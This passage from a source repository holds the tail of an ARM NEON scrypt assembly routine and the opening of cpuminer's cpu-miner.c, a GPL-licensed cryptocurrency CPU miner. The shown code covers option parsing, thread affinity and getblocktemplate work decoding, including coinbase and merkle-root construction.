| str r2, [sp, #4*16+2*4] 975 | 976 | ldr r0, [sp, #4*16+0*4] 977 | ldr r1, [sp, #4*16+1*4] 978 | ldr r2, [sp, #4*16+3*4] 979 | ldr r4, [r0, #16*4] 980 | sub r2, r2, #1 981 | and r4, r4, r2 982 | add r1, r1, r4, lsl #7 983 | add r2, r0, #16*4 984 | add r3, r1, #16*4 985 | mov r12, sp 986 | scrypt_core_macro1b_x4 987 | scrypt_core_macro1b_x4 988 | scrypt_core_macro1b_x4 989 | scrypt_core_macro1b_x4 990 | 991 | ldr r1, [sp, #4*16+1*4] 992 | ldr r2, [sp, #4*16+3*4] 993 | add r1, r1, r2, lsl #7 994 | add r3, r1, r2, lsl #7 995 | sub r2, r2, #1 996 | vmov r6, r7, d8 997 | and r6, r6, r2 998 | add r6, r1, r6, lsl #7 999 | vmov r7, r8, d24 1000 | add lr, sp, #128 1001 | vldmia lr, {q0-q3} 1002 | pld [r6] 1003 | pld [r6, #8*4] 1004 | pld [r6, #16*4] 1005 | pld [r6, #24*4] 1006 | vldmia r6, {q8-q15} 1007 | and r7, r7, r2 1008 | add r7, r3, r7, lsl #7 1009 | veor.u32 q8, q8, q0 1010 | veor.u32 q9, q9, q1 1011 | veor.u32 q10, q10, q2 1012 | veor.u32 q11, q11, q3 1013 | pld [r7] 1014 | pld [r7, #8*4] 1015 | pld [r7, #16*4] 1016 | pld [r7, #24*4] 1017 | veor.u32 q12, q12, q4 1018 | veor.u32 q13, q13, q5 1019 | veor.u32 q14, q14, q6 1020 | veor.u32 q15, q15, q7 1021 | vldmia r7, {q0-q7} 1022 | vstmia lr, {q8-q15} 1023 | add r12, sp, #256 1024 | vldmia r12, {q8-q15} 1025 | veor.u32 q8, q8, q0 1026 | veor.u32 q9, q9, q1 1027 | veor.u32 q10, q10, q2 1028 | veor.u32 q11, q11, q3 1029 | veor.u32 q12, q12, q4 1030 | veor.u32 q13, q13, q5 1031 | veor.u32 q14, q14, q6 1032 | veor.u32 q15, q15, q7 1033 | 1034 | vldmia lr, {q0-q7} 1035 | veor.u32 q0, q0, q4 1036 | veor.u32 q1, q1, q5 1037 | veor.u32 q2, q2, q6 1038 | veor.u32 q3, q3, q7 1039 | vstmia lr, {q0-q3} 1040 | veor.u32 q8, q8, q12 1041 | veor.u32 q9, q9, q13 1042 | veor.u32 q10, q10, q14 1043 | veor.u32 q11, q11, q15 1044 | vstmia r12, {q8-q15} 1045 | 1046 | salsa8_core_3way 1047 | 1048 | ldr r0, [sp, #4*16+0*4] 1049 | mov r12, sp 1050 | add r2, r0, #16*4 1051 | scrypt_core_macro2_x4 1052 | scrypt_core_macro2_x4 1053 | scrypt_core_macro2_x4 1054 | scrypt_core_macro2_x4 1055 | 1056 | add lr, sp, #128 1057 | vldmia lr, {q4-q7} 1058 | vadd.u32 q4, q4, q0 1059 | vadd.u32 q5, q5, q1 1060 | vadd.u32 q6, q6, q2 1061 | vadd.u32 q7, q7, q3 1062 | add r12, sp, #256 1063 | vldmia r12, {q12-q15} 1064 | vstmia lr, {q4-q7} 1065 | vadd.u32 q12, q12, q8 1066 | vadd.u32 q13, q13, q9 1067 | vadd.u32 q14, q14, q10 1068 | vadd.u32 q15, q15, q11 1069 | 1070 | add r4, sp, #128+4*16 1071 | vldmia r4, {q0-q3} 1072 | vstmia r12, {q12-q15} 1073 | veor.u32 q0, q0, q4 1074 | veor.u32 q1, q1, q5 1075 | veor.u32 q2, q2, q6 1076 | veor.u32 q3, q3, q7 1077 | add r5, sp, #256+4*16 1078 | vldmia r5, {q8-q11} 1079 | vstmia r4, {q0-q3} 1080 | veor.u32 q8, q8, q12 1081 | veor.u32 q9, q9, q13 1082 | veor.u32 q10, q10, q14 1083 | veor.u32 q11, q11, q15 1084 | vmov q12, q8 1085 | vmov q13, q9 1086 | vmov q14, q10 1087 | vmov q15, q11 1088 | 1089 | salsa8_core_3way 1090 | 1091 | ldr r0, [sp, #4*16+0*4] 1092 | ldr r3, [sp, #4*16+1*4] 1093 | ldr r2, [sp, #4*16+3*4] 1094 | mov r1, sp 1095 | add r0, r0, #16*4 1096 | sub r2, r2, #1 1097 | scrypt_core_macro3_x4 1098 | and r4, r4, r2 1099 | add r3, r3, r4, lsl #7 1100 | pld [r3, #16*4] 1101 | pld [r3] 1102 | pld [r3, #24*4] 1103 | pld [r3, #8*4] 1104 | scrypt_core_macro3_x6 1105 | scrypt_core_macro3_x6 1106 | 1107 | add lr, sp, #128 1108 | add r4, sp, #128+4*16 1109 | vldmia r4, {q4-q7} 1110 | vadd.u32 q4, q4, q0 1111 | vadd.u32 q5, q5, q1 1112 | vadd.u32 q6, q6, q2 1113 | vadd.u32 q7, q7, q3 1114 | vstmia r4, {q4-q7} 1115 | vadd.u32 q12, q12, q8 1116 | vadd.u32 q13, q13, q9 1117 | vadd.u32 q14, q14, q10 1118 | vadd.u32 q15, q15, q11 1119 | add r5, sp, #256+4*16 1120 | vstmia r5, {q12-q15} 1121 | 1122 | ldr r2, [sp, #4*16+2*4] 1123 | subs r2, r2, #1 1124 | bne scrypt_core_3way_loop2 1125 | 1126 | ldr r0, [sp, #4*16+0*4] 1127 | vldmia r0, {q8-q15} 1128 | vmov.u64 q0, #0xffffffff 1129 | vmov.u32 q1, q8 1130 | vmov.u32 q2, q12 1131 | vbif.u32 q8, q9, q0 1132 | vbif.u32 q12, q13, q0 1133 | vbif.u32 q9, q10, q0 1134 | vbif.u32 q13, q14, q0 1135 | vbif.u32 q10, q11, q0 1136 | vbif.u32 q14, q15, q0 1137 | vbif.u32 q11, q1, q0 1138 | vbif.u32 q15, q2, q0 1139 | add r12, sp, #8*16 1140 | vldmia r12!, {q0-q7} 1141 | vswp.u32 d17, d21 1142 | vswp.u32 d25, d29 1143 | vswp.u32 d18, d22 1144 | vswp.u32 d26, d30 1145 | vstmia r0!, {q8-q15} 1146 | vmov.u64 q8, #0xffffffff 1147 | vmov.u32 q9, q0 1148 | vmov.u32 q10, q4 1149 | vbif.u32 q0, q1, q8 1150 | vbif.u32 q4, q5, q8 1151 | vbif.u32 q1, q2, q8 1152 | vbif.u32 q5, q6, q8 1153 | vbif.u32 q2, q3, q8 1154 | vbif.u32 q6, q7, q8 1155 | vbif.u32 q3, q9, q8 1156 | vbif.u32 q7, q10, q8 1157 | vldmia r12, {q8-q15} 1158 | vswp.u32 d1, d5 1159 | vswp.u32 d9, d13 1160 | vswp.u32 d2, d6 1161 | vswp.u32 d10, d14 1162 | vstmia r0!, {q0-q7} 1163 | vmov.u64 q0, #0xffffffff 1164 | vmov.u32 q1, q8 1165 | vmov.u32 q2, q12 1166 | vbif.u32 q8, q9, q0 1167 | vbif.u32 q12, q13, q0 1168 | vbif.u32 q9, q10, q0 1169 | vbif.u32 q13, q14, q0 1170 | vbif.u32 q10, q11, q0 1171 | vbif.u32 q14, q15, q0 1172 | vbif.u32 q11, q1, q0 1173 | vbif.u32 q15, q2, q0 1174 | vswp.u32 d17, d21 1175 | vswp.u32 d25, d29 1176 | vswp.u32 d18, d22 1177 | vswp.u32 d26, d30 1178 | vstmia r0, {q8-q15} 1179 | 1180 | ldr sp, [sp, #4*16+4*4] 1181 | vpop {q4-q7} 1182 | ldmfd sp!, {r4-r11, pc} 1183 | 1184 | #endif /* __ARM_NEON__ */ 1185 | 1186 | #endif 1187 | -------------------------------------------------------------------------------- /scripts/cpu-miner.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2010 Jeff Garzik 3 | * Copyright 2012-2017 pooler 4 | * 5 | * This program is free software; you can redistribute it and/or modify it 6 | * under the terms of the GNU General Public License as published by the Free 7 | * Software Foundation; either version 2 of the License, or (at your option) 8 | * any later version. See COPYING for more details. 9 | */ 10 | 11 | #include "cpuminer-config.h" 12 | #define _GNU_SOURCE 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #ifdef WIN32 23 | #include 24 | #else 25 | #include 26 | #include 27 | #include 28 | #if HAVE_SYS_SYSCTL_H 29 | #include 30 | #if HAVE_SYS_PARAM_H 31 | #include 32 | #endif 33 | #include 34 | #endif 35 | #endif 36 | #include 37 | #include 38 | #include "compat.h" 39 | #include "miner.h" 40 | 41 | #define PROGRAM_NAME "minerd" 42 | #define LP_SCANTIME 60 43 | 44 | #ifdef __linux /* Linux specific policy and affinity management */ 45 | #include 46 | static inline void drop_policy(void) 47 | { 48 | struct sched_param param; 49 | param.sched_priority = 0; 50 | 51 | #ifdef SCHED_IDLE 52 | if (unlikely(sched_setscheduler(0, SCHED_IDLE, ¶m) == -1)) 53 | #endif 54 | #ifdef SCHED_BATCH 55 | sched_setscheduler(0, SCHED_BATCH, ¶m); 56 | #endif 57 | } 58 | 59 | static inline void affine_to_cpu(int id, int cpu) 60 | { 61 | cpu_set_t set; 62 | 63 | CPU_ZERO(&set); 64 | CPU_SET(cpu, &set); 65 | sched_setaffinity(0, sizeof(set), &set); 66 | } 67 | #elif defined(__FreeBSD__) /* FreeBSD specific policy and affinity management */ 68 | #include 69 | static inline void drop_policy(void) 70 | { 71 | } 72 | 73 | static inline void affine_to_cpu(int id, int cpu) 74 | { 75 | cpuset_t set; 76 | CPU_ZERO(&set); 77 | CPU_SET(cpu, &set); 78 | cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, sizeof(cpuset_t), &set); 79 | } 80 | #else 81 | static inline void drop_policy(void) 82 | { 83 | } 84 | 85 | static inline void affine_to_cpu(int id, int cpu) 86 | { 87 | } 88 | #endif 89 | 90 | enum workio_commands { 91 | WC_GET_WORK, 92 | WC_SUBMIT_WORK, 93 | }; 94 | 95 | struct workio_cmd { 96 | enum workio_commands cmd; 97 | struct thr_info *thr; 98 | union { 99 | struct work *work; 100 | } u; 101 | }; 102 | 103 | enum algos { 104 | ALGO_SCRYPT, /* scrypt(1024,1,1) */ 105 | ALGO_SHA256D, /* SHA-256d */ 106 | }; 107 | 108 | static const char *algo_names[] = { 109 | [ALGO_SCRYPT] = "scrypt", 110 | [ALGO_SHA256D] = "sha256d", 111 | }; 112 | 113 | bool opt_debug = false; 114 | bool opt_protocol = false; 115 | static bool opt_benchmark = false; 116 | bool opt_redirect = true; 117 | bool want_longpoll = true; 118 | bool have_longpoll = false; 119 | bool have_gbt = true; 120 | bool allow_getwork = true; 121 | bool want_stratum = true; 122 | bool have_stratum = false; 123 | bool use_syslog = false; 124 | static bool opt_background = false; 125 | static bool opt_quiet = false; 126 | static int opt_retries = -1; 127 | static int opt_fail_pause = 30; 128 | int opt_timeout = 0; 129 | static int opt_scantime = 5; 130 | static enum algos opt_algo = ALGO_SCRYPT; 131 | static int opt_scrypt_n = 1024; 132 | static int opt_n_threads; 133 | static int num_processors; 134 | static char *rpc_url; 135 | static char *rpc_userpass; 136 | static char *rpc_user, *rpc_pass; 137 | static int pk_script_size; 138 | static unsigned char pk_script[42]; 139 | static char coinbase_sig[101] = ""; 140 | char *opt_cert; 141 | char *opt_proxy; 142 | long opt_proxy_type; 143 | struct thr_info *thr_info; 144 | static int work_thr_id; 145 | int longpoll_thr_id = -1; 146 | int stratum_thr_id = -1; 147 | struct work_restart *work_restart = NULL; 148 | static struct stratum_ctx stratum; 149 | 150 | pthread_mutex_t applog_lock; 151 | static pthread_mutex_t stats_lock; 152 | 153 | static unsigned long accepted_count = 0L; 154 | static unsigned long rejected_count = 0L; 155 | static double *thr_hashrates; 156 | 157 | #ifdef HAVE_GETOPT_LONG 158 | #include 159 | #else 160 | struct option { 161 | const char *name; 162 | int has_arg; 163 | int *flag; 164 | int val; 165 | }; 166 | #endif 167 | 168 | static char const usage[] = "\ 169 | Usage: " PROGRAM_NAME " [OPTIONS]\n\ 170 | Options:\n\ 171 | -a, --algo=ALGO specify the algorithm to use\n\ 172 | scrypt scrypt(1024, 1, 1) (default)\n\ 173 | scrypt:N scrypt(N, 1, 1)\n\ 174 | sha256d SHA-256d\n\ 175 | -o, --url=URL URL of mining server\n\ 176 | -O, --userpass=U:P username:password pair for mining server\n\ 177 | -u, --user=USERNAME username for mining server\n\ 178 | -p, --pass=PASSWORD password for mining server\n\ 179 | --cert=FILE certificate for mining server using SSL\n\ 180 | -x, --proxy=[PROTOCOL://]HOST[:PORT] connect through a proxy\n\ 181 | -t, --threads=N number of miner threads (default: number of processors)\n\ 182 | -r, --retries=N number of times to retry if a network call fails\n\ 183 | (default: retry indefinitely)\n\ 184 | -R, --retry-pause=N time to pause between retries, in seconds (default: 30)\n\ 185 | -T, --timeout=N timeout for long polling, in seconds (default: none)\n\ 186 | -s, --scantime=N upper bound on time spent scanning current work when\n\ 187 | long polling is unavailable, in seconds (default: 5)\n\ 188 | --coinbase-addr=ADDR payout address for solo mining\n\ 189 | --coinbase-sig=TEXT data to insert in the coinbase when possible\n\ 190 | --no-longpoll disable long polling support\n\ 191 | --no-getwork disable getwork support\n\ 192 | --no-gbt disable getblocktemplate support\n\ 193 | --no-stratum disable X-Stratum support\n\ 194 | --no-redirect ignore requests to change the URL of the mining server\n\ 195 | -q, --quiet disable per-thread hashmeter output\n\ 196 | -D, --debug enable debug output\n\ 197 | -P, --protocol-dump verbose dump of protocol-level activities\n" 198 | #ifdef HAVE_SYSLOG_H 199 | "\ 200 | -S, --syslog use system log for output messages\n" 201 | #endif 202 | #ifndef WIN32 203 | "\ 204 | -B, --background run the miner in the background\n" 205 | #endif 206 | "\ 207 | --benchmark run in offline benchmark mode\n\ 208 | -c, --config=FILE load a JSON-format configuration file\n\ 209 | -V, --version display version information and exit\n\ 210 | -h, --help display this help text and exit\n\ 211 | "; 212 | 213 | static char const short_options[] = 214 | #ifndef WIN32 215 | "B" 216 | #endif 217 | #ifdef HAVE_SYSLOG_H 218 | "S" 219 | #endif 220 | "a:c:Dhp:Px:qr:R:s:t:T:o:u:O:V"; 221 | 222 | static struct option const options[] = { 223 | { "algo", 1, NULL, 'a' }, 224 | #ifndef WIN32 225 | { "background", 0, NULL, 'B' }, 226 | #endif 227 | { "benchmark", 0, NULL, 1005 }, 228 | { "cert", 1, NULL, 1001 }, 229 | { "coinbase-addr", 1, NULL, 1013 }, 230 | { "coinbase-sig", 1, NULL, 1015 }, 231 | { "config", 1, NULL, 'c' }, 232 | { "debug", 0, NULL, 'D' }, 233 | { "help", 0, NULL, 'h' }, 234 | { "no-gbt", 0, NULL, 1011 }, 235 | { "no-getwork", 0, NULL, 1010 }, 236 | { "no-longpoll", 0, NULL, 1003 }, 237 | { "no-redirect", 0, NULL, 1009 }, 238 | { "no-stratum", 0, NULL, 1007 }, 239 | { "pass", 1, NULL, 'p' }, 240 | { "protocol-dump", 0, NULL, 'P' }, 241 | { "proxy", 1, NULL, 'x' }, 242 | { "quiet", 0, NULL, 'q' }, 243 | { "retries", 1, NULL, 'r' }, 244 | { "retry-pause", 1, NULL, 'R' }, 245 | { "scantime", 1, NULL, 's' }, 246 | #ifdef HAVE_SYSLOG_H 247 | { "syslog", 0, NULL, 'S' }, 248 | #endif 249 | { "threads", 1, NULL, 't' }, 250 | { "timeout", 1, NULL, 'T' }, 251 | { "url", 1, NULL, 'o' }, 252 | { "user", 1, NULL, 'u' }, 253 | { "userpass", 1, NULL, 'O' }, 254 | { "version", 0, NULL, 'V' }, 255 | { 0, 0, 0, 0 } 256 | }; 257 | 258 | struct work { 259 | uint32_t data[32]; 260 | uint32_t target[8]; 261 | 262 | int height; 263 | char *txs; 264 | char *workid; 265 | 266 | char *job_id; 267 | size_t xnonce2_len; 268 | unsigned char *xnonce2; 269 | }; 270 | 271 | static struct work g_work; 272 | static time_t g_work_time; 273 | static pthread_mutex_t g_work_lock; 274 | static bool submit_old = false; 275 | static char *lp_id; 276 | 277 | static inline void work_free(struct work *w) 278 | { 279 | free(w->txs); 280 | free(w->workid); 281 | free(w->job_id); 282 | free(w->xnonce2); 283 | } 284 | 285 | static inline void work_copy(struct work *dest, const struct work *src) 286 | { 287 | memcpy(dest, src, sizeof(struct work)); 288 | if (src->txs) 289 | dest->txs = strdup(src->txs); 290 | if (src->workid) 291 | dest->workid = strdup(src->workid); 292 | if (src->job_id) 293 | dest->job_id = strdup(src->job_id); 294 | if (src->xnonce2) { 295 | dest->xnonce2 = malloc(src->xnonce2_len); 296 | memcpy(dest->xnonce2, src->xnonce2, src->xnonce2_len); 297 | } 298 | } 299 | 300 | static bool jobj_binary(const json_t *obj, const char *key, 301 | void *buf, size_t buflen) 302 | { 303 | const char *hexstr; 304 | json_t *tmp; 305 | 306 | tmp = json_object_get(obj, key); 307 | if (unlikely(!tmp)) { 308 | applog(LOG_ERR, "JSON key '%s' not found", key); 309 | return false; 310 | } 311 | hexstr = json_string_value(tmp); 312 | if (unlikely(!hexstr)) { 313 | applog(LOG_ERR, "JSON key '%s' is not a string", key); 314 | return false; 315 | } 316 | if (!hex2bin(buf, hexstr, buflen)) 317 | return false; 318 | 319 | return true; 320 | } 321 | 322 | static bool work_decode(const json_t *val, struct work *work) 323 | { 324 | int i; 325 | 326 | if (unlikely(!jobj_binary(val, "data", work->data, sizeof(work->data)))) { 327 | applog(LOG_ERR, "JSON invalid data"); 328 | goto err_out; 329 | } 330 | if (unlikely(!jobj_binary(val, "target", work->target, sizeof(work->target)))) { 331 | applog(LOG_ERR, "JSON invalid target"); 332 | goto err_out; 333 | } 334 | 335 | for (i = 0; i < ARRAY_SIZE(work->data); i++) 336 | work->data[i] = le32dec(work->data + i); 337 | for (i = 0; i < ARRAY_SIZE(work->target); i++) 338 | work->target[i] = le32dec(work->target + i); 339 | 340 | return true; 341 | 342 | err_out: 343 | return false; 344 | } 345 | 346 | static bool gbt_work_decode(const json_t *val, struct work *work) 347 | { 348 | int i, n; 349 | uint32_t version, curtime, bits; 350 | uint32_t prevhash[8]; 351 | uint32_t target[8]; 352 | int cbtx_size; 353 | unsigned char *cbtx = NULL; 354 | unsigned char *tx = NULL; 355 | int tx_count, tx_size; 356 | unsigned char txc_vi[9]; 357 | unsigned char (*merkle_tree)[32] = NULL; 358 | bool coinbase_append = false; 359 | bool submit_coinbase = false; 360 | bool segwit = false; 361 | json_t *tmp, *txa; 362 | bool rc = false; 363 | 364 | tmp = json_object_get(val, "rules"); 365 | if (tmp && json_is_array(tmp)) { 366 | n = json_array_size(tmp); 367 | for (i = 0; i < n; i++) { 368 | const char *s = json_string_value(json_array_get(tmp, i)); 369 | if (!s) 370 | continue; 371 | if (!strcmp(s, "segwit") || !strcmp(s, "!segwit")) 372 | segwit = true; 373 | } 374 | } 375 | 376 | tmp = json_object_get(val, "mutable"); 377 | if (tmp && json_is_array(tmp)) { 378 | n = json_array_size(tmp); 379 | for (i = 0; i < n; i++) { 380 | const char *s = json_string_value(json_array_get(tmp, i)); 381 | if (!s) 382 | continue; 383 | if (!strcmp(s, "coinbase/append")) 384 | coinbase_append = true; 385 | else if (!strcmp(s, "submit/coinbase")) 386 | submit_coinbase = true; 387 | } 388 | } 389 | 390 | tmp = json_object_get(val, "height"); 391 | if (!tmp || !json_is_integer(tmp)) { 392 | applog(LOG_ERR, "JSON invalid height"); 393 | goto out; 394 | } 395 | work->height = json_integer_value(tmp); 396 | 397 | tmp = json_object_get(val, "version"); 398 | if (!tmp || !json_is_integer(tmp)) { 399 | applog(LOG_ERR, "JSON invalid version"); 400 | goto out; 401 | } 402 | version = json_integer_value(tmp); 403 | 404 | if (unlikely(!jobj_binary(val, "previousblockhash", prevhash, sizeof(prevhash)))) { 405 | applog(LOG_ERR, "JSON invalid previousblockhash"); 406 | goto out; 407 | } 408 | 409 | tmp = json_object_get(val, "curtime"); 410 | if (!tmp || !json_is_integer(tmp)) { 411 | applog(LOG_ERR, "JSON invalid curtime"); 412 | goto out; 413 | } 414 | curtime = json_integer_value(tmp); 415 | 416 | if (unlikely(!jobj_binary(val, "bits", &bits, sizeof(bits)))) { 417 | applog(LOG_ERR, "JSON invalid bits"); 418 | goto out; 419 | } 420 | 421 | /* find count and size of transactions */ 422 | txa = json_object_get(val, "transactions"); 423 | if (!txa || !json_is_array(txa)) { 424 | applog(LOG_ERR, "JSON invalid transactions"); 425 | goto out; 426 | } 427 | tx_count = json_array_size(txa); 428 | tx_size = 0; 429 | for (i = 0; i < tx_count; i++) { 430 | const json_t *tx = json_array_get(txa, i); 431 | const char *tx_hex = json_string_value(json_object_get(tx, "data")); 432 | if (!tx_hex) { 433 | applog(LOG_ERR, "JSON invalid transactions"); 434 | goto out; 435 | } 436 | tx_size += strlen(tx_hex) / 2; 437 | } 438 | 439 | /* build coinbase transaction */ 440 | tmp = json_object_get(val, "coinbasetxn"); 441 | if (tmp) { 442 | const char *cbtx_hex = json_string_value(json_object_get(tmp, "data")); 443 | cbtx_size = cbtx_hex ? strlen(cbtx_hex) / 2 : 0; 444 | cbtx = malloc(cbtx_size + 100); 445 | if (cbtx_size < 60 || !hex2bin(cbtx, cbtx_hex, cbtx_size)) { 446 | applog(LOG_ERR, "JSON invalid coinbasetxn"); 447 | goto out; 448 | } 449 | } else { 450 | int64_t cbvalue; 451 | if (!pk_script_size) { 452 | if (allow_getwork) { 453 | applog(LOG_INFO, "No payout address provided, switching to getwork"); 454 | have_gbt = false; 455 | } else 456 | applog(LOG_ERR, "No payout address provided"); 457 | goto out; 458 | } 459 | tmp = json_object_get(val, "coinbasevalue"); 460 | if (!tmp || !json_is_number(tmp)) { 461 | applog(LOG_ERR, "JSON invalid coinbasevalue"); 462 | goto out; 463 | } 464 | cbvalue = json_is_integer(tmp) ? json_integer_value(tmp) : json_number_value(tmp); 465 | cbtx = malloc(256); 466 | le32enc((uint32_t *)cbtx, 1); /* version */ 467 | cbtx[4] = 1; /* in-counter */ 468 | memset(cbtx+5, 0x00, 32); /* prev txout hash */ 469 | le32enc((uint32_t *)(cbtx+37), 0xffffffff); /* prev txout index */ 470 | cbtx_size = 43; 471 | /* BIP 34: height in coinbase */ 472 | if (work->height >= 1 && work->height <= 16) { 473 | /* Use OP_1-OP_16 to conform to Bitcoin's implementation. */ 474 | cbtx[42] = work->height + 0x50; 475 | cbtx[cbtx_size++] = 0x00; /* OP_0; pads to 2 bytes */ 476 | } else { 477 | for (n = work->height; n; n >>= 8) { 478 | cbtx[cbtx_size++] = n & 0xff; 479 | if (n < 0x100 && n >= 0x80) 480 | cbtx[cbtx_size++] = 0; 481 | } 482 | cbtx[42] = cbtx_size - 43; 483 | } 484 | cbtx[41] = cbtx_size - 42; /* scriptsig length */ 485 | le32enc((uint32_t *)(cbtx+cbtx_size), 0xffffffff); /* sequence */ 486 | cbtx_size += 4; 487 | cbtx[cbtx_size++] = segwit ? 2 : 1; /* out-counter */ 488 | le32enc((uint32_t *)(cbtx+cbtx_size), (uint32_t)cbvalue); /* value */ 489 | le32enc((uint32_t *)(cbtx+cbtx_size+4), cbvalue >> 32); 490 | cbtx_size += 8; 491 | cbtx[cbtx_size++] = pk_script_size; /* txout-script length */ 492 | memcpy(cbtx+cbtx_size, pk_script, pk_script_size); 493 | cbtx_size += pk_script_size; 494 | if (segwit) { 495 | unsigned char (*wtree)[32] = calloc(tx_count + 2, 32); 496 | memset(cbtx+cbtx_size, 0, 8); /* value */ 497 | cbtx_size += 8; 498 | cbtx[cbtx_size++] = 38; /* txout-script length */ 499 | cbtx[cbtx_size++] = 0x6a; /* txout-script */ 500 | cbtx[cbtx_size++] = 0x24; 501 | cbtx[cbtx_size++] = 0xaa; 502 | cbtx[cbtx_size++] = 0x21; 503 | cbtx[cbtx_size++] = 0xa9; 504 | cbtx[cbtx_size++] = 0xed; 505 | for (i = 0; i < tx_count; i++) { 506 | const json_t *tx = json_array_get(txa, i); 507 | const json_t *hash = json_object_get(tx, "hash"); 508 | if (!hash || !hex2bin(wtree[1+i], json_string_value(hash), 32)) { 509 | applog(LOG_ERR, "JSON invalid transaction hash"); 510 | free(wtree); 511 | goto out; 512 | } 513 | memrev(wtree[1+i], 32); 514 | } 515 | n = tx_count + 1; 516 | while (n > 1) { 517 | if (n % 2) 518 | memcpy(wtree[n], wtree[n-1], 32); 519 | n = (n + 1) / 2; 520 | for (i = 0; i < n; i++) 521 | sha256d(wtree[i], wtree[2*i], 64); 522 | } 523 | memset(wtree[1], 0, 32); /* witness reserved value = 0 */ 524 | sha256d(cbtx+cbtx_size, wtree[0], 64); 525 | cbtx_size += 32; 526 | free(wtree); 527 | } 528 | le32enc((uint32_t *)(cbtx+cbtx_size), 0); /* lock time */ 529 | cbtx_size += 4; 530 | coinbase_append = true; 531 | } 532 | if (coinbase_append) { 533 | unsigned char xsig[100]; 534 | int xsig_len = 0; 535 | if (*coinbase_sig) { 536 | n = strlen(coinbase_sig); 537 | if (cbtx[41] + xsig_len + n <= 100) { 538 | memcpy(xsig+xsig_len, coinbase_sig, n); 539 | xsig_len += n; 540 | } else { 541 | applog(LOG_WARNING, "Signature does not fit in coinbase, skipping"); 542 | } 543 | } 544 | tmp = json_object_get(val, "coinbaseaux"); 545 | if (tmp && json_is_object(tmp)) { 546 | void *iter = json_object_iter(tmp); 547 | while (iter) { 548 | unsigned char buf[100]; 549 | const char *s = json_string_value(json_object_iter_value(iter)); 550 | n = s ? strlen(s) / 2 : 0; 551 | if (!s || n > 100 || !hex2bin(buf, s, n)) { 552 | applog(LOG_ERR, "JSON invalid coinbaseaux"); 553 | break; 554 | } 555 | if (cbtx[41] + xsig_len + n <= 100) { 556 | memcpy(xsig+xsig_len, buf, n); 557 | xsig_len += n; 558 | } 559 | iter = json_object_iter_next(tmp, iter); 560 | } 561 | } 562 | if (xsig_len) { 563 | unsigned char *ssig_end = cbtx + 42 + cbtx[41]; 564 | int push_len = cbtx[41] + xsig_len < 76 ? 1 : 565 | cbtx[41] + 2 + xsig_len > 100 ? 0 : 2; 566 | n = xsig_len + push_len; 567 | memmove(ssig_end + n, ssig_end, cbtx_size - 42 - cbtx[41]); 568 | cbtx[41] += n; 569 | if (push_len == 2) 570 | *(ssig_end++) = 0x4c; /* OP_PUSHDATA1 */ 571 | if (push_len) 572 | *(ssig_end++) = xsig_len; 573 | memcpy(ssig_end, xsig, xsig_len); 574 | cbtx_size += n; 575 | } 576 | } 577 | 578 | n = varint_encode(txc_vi, 1 + tx_count); 579 | work->txs = malloc(2 * (n + cbtx_size + tx_size) + 1); 580 | bin2hex(work->txs, txc_vi, n); 581 | bin2hex(work->txs + 2*n, cbtx, cbtx_size); 582 | char *txs_end = work->txs + strlen(work->txs); 583 | 584 | /* generate merkle root */ 585 | merkle_tree = malloc(32 * ((1 + tx_count + 1) & ~1)); 586 | size_t tx_buf_size = 32 * 1024; 587 | tx = malloc(tx_buf_size); 588 | sha256d(merkle_tree[0], cbtx, cbtx_size); 589 | for (i = 0; i < tx_count; i++) { 590 | tmp = json_array_get(txa, i); 591 | const char *tx_hex = json_string_value(json_object_get(tmp, "data")); 592 | const size_t tx_hex_len = tx_hex ? strlen(tx_hex) : 0; 593 | const int tx_size = tx_hex_len / 2; 594 | if (segwit) { 595 | const char *txid = json_string_value(json_object_get(tmp, "txid")); 596 | if (!txid || !hex2bin(merkle_tree[1 + i], txid, 32)) { 597 | applog(LOG_ERR, "JSON invalid transaction txid"); 598 | goto out; 599 | } 600 | memrev(merkle_tree[1 + i], 32); 601 | } else { 602 | if (tx_size > tx_buf_size) { 603 | free(tx); 604 | tx_buf_size = tx_size * 2; 605 | tx = malloc(tx_buf_size); 606 | } 607 | if (!tx_hex || !hex2bin(tx, tx_hex, tx_size)) { 608 | applog(LOG_ERR, "JSON invalid transactions"); 609 | goto out; 610 | } 611 | sha256d(merkle_tree[1 + i], tx, tx_size); 612 | } 613 | if (!submit_coinbase) { 614 | strcpy(txs_end, tx_hex); 615 | txs_end += tx_hex_len; 616 | } 617 | } 618 | free(tx); tx = NULL; 619 | n = 1 + tx_count; 620 | while (n > 1) { 621 | if (n % 2) { 622 | memcpy(merkle_tree[n], merkle_tree[n-1], 32); 623 | ++n; 624 | } 625 | n /= 2; 626 | for (i = 0; i < n; i++) 627 | sha256d(merkle_tree[i], merkle_tree[2*i], 64); 628 | } 629 | 630 | /* assemble block header */ 631 | work->data[0] = swab32(version); 632 | for (i = 0; i < 8; i++) 633 | work->data[8 - i] = le32dec(prevhash + i); 634 | for (i = 0; i < 8; i++) 635 | work->data[9 + i] = be32dec((uint32_t *)merkle_tree[0] + i); 636 | work->data[17] = swab32(curtime); 637 | work->data[18] = le32dec(&bits); 638 | memset(work->data + 19, 0x00, 52); 639 | work->data[20] = 0x80000000; 640 | work->data[31] = 0x00000280; 641 | 642 | if (unlikely(!jobj_binary(val, "target", target, sizeof(target)))) { 643 | applog(LOG_ERR, "JSON invalid target"); 644 | goto out; 645 | } 646 | for (i = 0; i < ARRAY_SIZE(work->target); i++) 647 | work->target[7 - i] = be32dec(target + i); 648 | 649 | tmp = json_object_get(val, "workid"); 650 | if (tmp) { 651 | if (!json_is_string(tmp)) { 652 | applog(LOG_ERR, "JSON invalid workid"); 653 | goto out; 654 | } 655 | work->workid = strdup(json_string_value(tmp)); 656 | } 657 | 658 | /* Long polling */ 659 | tmp = json_object_get(val, "longpollid"); 660 | if (want_longpoll && json_is_string(tmp)) { 661 | free(lp_id); 662 | lp_id = strdup(json_string_value(tmp)); 663 | if (!have_longpoll) { 664 | char *lp_uri; 665 | tmp = json_object_get(val, "longpolluri"); 666 | lp_uri = strdup(json_is_string(tmp) ? json_string_value(tmp) : rpc_url); 667 | have_longpoll = true; 668 | tq_push(thr_info[longpoll_thr_id].q, lp_uri); 669 | } 670 | } 671 | 672 | rc = true; 673 | 674 | out: 675 | free(tx); 676 | free(cbtx); 677 | free(merkle_tree); 678 | return rc; 679 | } 680 | 681 | static void share_result(int result, const char *reason) 682 | { 683 | char s[345]; 684 | double hashrate; 685 | int i; 686 | 687 | hashrate = 0.; 